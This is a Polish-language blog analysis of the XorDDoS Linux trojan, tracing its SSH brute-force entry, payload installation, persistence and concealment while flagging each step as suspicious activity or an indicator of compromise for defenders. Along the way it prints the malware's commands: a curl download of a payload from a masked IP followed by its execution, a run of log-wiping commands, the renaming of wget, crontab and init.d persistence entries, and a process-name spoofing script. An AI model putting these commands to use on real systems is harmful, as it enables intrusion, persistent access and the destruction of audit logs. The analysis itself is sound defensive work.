XorDDoS – Linux Trojan

P

rzewiduje się, iż do końca 2025 roku ponad 30 miliardów urządzeń IoT będzie podłączonych do internetu. To doskonale definiuje cele na kolejne lata dla szkodliwego oprogramowania. Aktualnie w internecie występuje wzmożona aktywność programu XorDDoS. Jest to koń trojański z funkcjami rootkita wykorzystywany do przeprowadzania ataków DDoS na dużą skalę. Jego nazwa pochodzi od szyfrowania XOR, które często jest wykorzystywane w złośliwym oprogramowaniu, jak i w komunikacji sieciowej do C&C. Inspirowany projektem rooty został stworzony dla wielu architektur systemu Linux: ARM, x86 i x64. Wykryty w 2014 roku przez grupę badawczą zajmującą się bezpieczeństwem MalwareMustDie i do dzisiaj pozostaje aktywny. De facto w 2021 roku aktywność tego malware wzrosła o 123% w porównaniu do 2020 roku. Z kolei według telemetrii firmy Microsoft XorDDoS od początku roku zwiększył swoją aktywność o 254%. Prześledźmy jego działanie.

Wejście do systemu:

Dostęp do systemów jest osiągany dzięki metody brute force na haśle administratora root lub innego użytkownika charakterystycznego dla danego urządzenia IoT np. admin poprzez protokół SSH oraz Telnet. Jeden z wariantów przeszukuje również serwery Dockera wystawiające porty API, aby zainfekować wszystkie hostowane kontenery. Dlatego tak ważne jest, aby nie zezwalać na zdalne logowanie się z kont o przywilejach administracyjnych, a przede wszystkim zmieniać ich standardowe poświadczenia na bardziej skomplikowane lub zamienić je na klucze.

Wykonanie ładunku:

Po poprawnym zalogowaniu się następuje faza instalacji. W celu znalezienia miejsca na zapis ładunku (ang. payload) przeszukiwane są następujące ścieżki: /dev/shm, /bin, /home, /root, /tmp, /usr, /etc. Po znalezieniu katalogu z prawami zapisu, skrypt zmienia swój katalog roboczy właśnie na tą ścieżkę. Następnie ładunek pobierany jest dzięki narzędzia wget lub curl z zewnętrznego adresu w formacie adresu IPv4 przy pomocy protokołu HTTP (aby nie ryzykować braku obsługi certyfikatu wybranego CA). Nadawane są dla niego bardzo szerokie uprawnienia wykonania do pliku, który jest następnie uruchamiany:

curl http://XXX.XXX.XXX.XXX:8809/a.txt -o fvbwvftthk (SA) chmod +x fvbwvftthk (SA) ./fvbwvftthk

Pobieranie plików z czystych adresów IP protokołem HTTP stanowi dzisiaj podejrzaną aktywność – SA (ang. Suspicious Activity). Analogicznie nadawanie plikom prawa wykonywania dla wszystkich użytkowników (777). Również nazwa samego pliku jest bardzo charakterystyczna – jest to od 8 do 10 losowych znaków, które będziemy mogli znaleźć w różnych lokalizacjach systemu. Po uruchomieniu pliku binarnego narzędzie wget jest przenoszone pod inną nazwę: good – w celu próby uniknięcia wykrycia przez reguły monitorujące złośliwe użycie wget:

mv /usr/bin/wget /usr/bin/good (IoC) mv /bin/wget /bin/good (IoC)

Niestety ruch ten powoduje, iż dostajemy jasny wskaźnik kompromitacji – IoC (ang. Indicator of Compromise), czyli obiekt identyfikujący potencjalnie złośliwą aktywność w systemie lub sieci, ponieważ w tej ścieżce żaden pakiet linuksowy nie zapisuje takiego pliku binarnego. Po uruchomieniu pliku ELF, następuje próba ukrycia śladów swojej instalacji poprzez nadpisanie zawartości następujących wrażliwych plików:

cat /dev/null > /root/.bash_history cat /dev/null > /var/log/wtmp cat /dev/null > /var/log/btmp cat /dev/null > /var/log/lastlog cat /dev/null > /var/log/secure cat /dev/null > /var/log/boot.log cat /dev/null > /var/log/cron cat /dev/null > /var/log/dmesg cat /dev/null > /var/log/firewalld cat /dev/null > /var/log/maillog cat /dev/null > /var/log/spooler cat /dev/null > /var/log/syslog cat /dev/null > /var/log/tallylog cat /dev/null > /var/log/yum.log

Podejrzaną aktywnością jest tutaj uruchamianie polecenia cat z argumentem /dev/null oraz przekierowaniem strumienia. Jest to prosta technika, która powoduje „wyzerowanie” dowolnego pliku pustym znakiem – podobnie jak polecenie:

echo -n > .bash_history

które również powoduje, iż cała zawartość pliku jest usuwana.

Persystencja i inne artefakty:

Aby zapewnić sobie uruchomienie procesu po restarcie systemu złośliwe oprogramowanie wrzuca swój skrypt inicjujący (który jest choćby zgodny z Linux Standard Base) do katalogu /etc/init.d np. /etc/init.d/fvbwvftthk lub /etc/init.d/fvbwvftthk.elf (w zależności od wariantu). Uruchamia on plik binarny o tej samej nazwie, co skrypt z ścieżki /tmp (SA). Następnie tworzone są linki symboliczne do skryptu zrzuconego w lokalizacji /etc/init.d z katalogów związanych z poziomami uruchamiania systemu (od 1 do 5) w ścieżkach: /etc/rc[1-5].d/S90[nazwa_z_init.d] oraz /etc/rc.d/rc[1-5].d/S90[nazwa_z_init.d] np.:

/etc/rc3.d/S90fvbwvftthk -> /etc/init.d/fvbwvftthk /etc/rc.d/rc3.d/S90fvbwvftthk -> /etc/init.d/fvbwvftthk

i uruchamiane polecenia:

update-rc.d fvbwvftthk defaults systemctl daemon-reload chkconfig –add fvbwvftthk

które dodają daemona fvbwvftthk do normalnego procesu rozruchu systemu. Drugim mechanizmem mającym zapewnić przetrwanie tego systemu w systemie jest crond. Do ścieżki: /etc/cron.hourly/ wrzucany jest plik: gcc.sh (IoC) lub gcc[0-9].sh (w zależności od wariantu), który oprócz tego, iż standardowo będzie uruchamiany, co godzinę to jeszcze dzięki odpowiedniego wpisu w /etc/crontab:

*/3 * * * * root /etc/cron.hourly/gcc4.sh

będzie wyzwalany, co 3 minuty. Sam skrypt gcc4.sh odwołuje się do pliku umieszczonego w ścieżce: /lib/libudev.so lub /lib/libudev[0-9].so (w zależności od wariantu), który jest jego kolejną kopią. Warto tutaj jeszcze wspomnieć o specjalnym wątku, który w ramach sprawdzania procesów pobiera statystyki dla pliku /var/run/gcc.pid (IoC) lub /var/run/gcc[0-9].pid (w zależności od wariantu) lub jeżeli nie istnieje – tworzy go. jeżeli chodzi o procesy systemowe to kod tego trojana wykorzystuje podszywanie się pod inne nazwy, aby ukryć się w systemowym drzewie procesów. Wykonuje to poprzez modyfikację wiersza poleceń w czasie uruchamiania – możemy to zademonstrować dzięki skryptu Perl:

agresor@darkstar:~$ cat z.pl #/usr/bin/perl $0="apache31337"; while(true) { sleep(3600); } agresor@darkstar:~$ perl z.pl & agresor@darkstar:~$ ps xuaw|grep apache ubuntu 1089 0.0 0.1 10736 3680 pts/1 S 23:29 0:00 apache31337

Do fałszywych procesów XorDDoS możemy zaliczyć:

cat resolv.conf netstat -an bash whoami id cd /etc ifconfig eth0 ifconfig echo “find” uptime sh top gnome-terminal su netstat -antop grep “A” who ls -la pwd route -n ps -ef ls sleep 1

Większość z tych komend nie powinna widnieć jako procesy systemowe (SA), ponieważ są to typowe polecenia, które zwracają wynik i kończą swoje działanie, a nie wiszą w systemie, jakby coś się zacięło z systemem I/O. Jak widzimy modułowa natura XorDDoS zapewnia atakującym wszechstronnego konia trojańskiego zdolnego do infekowania różnych architektur systemów Linux. Jego ataki typu brute force na SSH są stosunkowo prostą techniką, ale skuteczną. Dzięki umiejętności wykradania poufnych danych, instalowania rootkitów, stosowania mechanizmów ukrywania i utrzymywania dostępu – pozwala na przeprowadzanie ataków DDoS lub zapewnienie wektora ataków dla nowych zagrożeń z różnych serwerów i urządzeń pozostawionych samych sobie.

Więcej informacji: XORDDOS Malware Information, Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices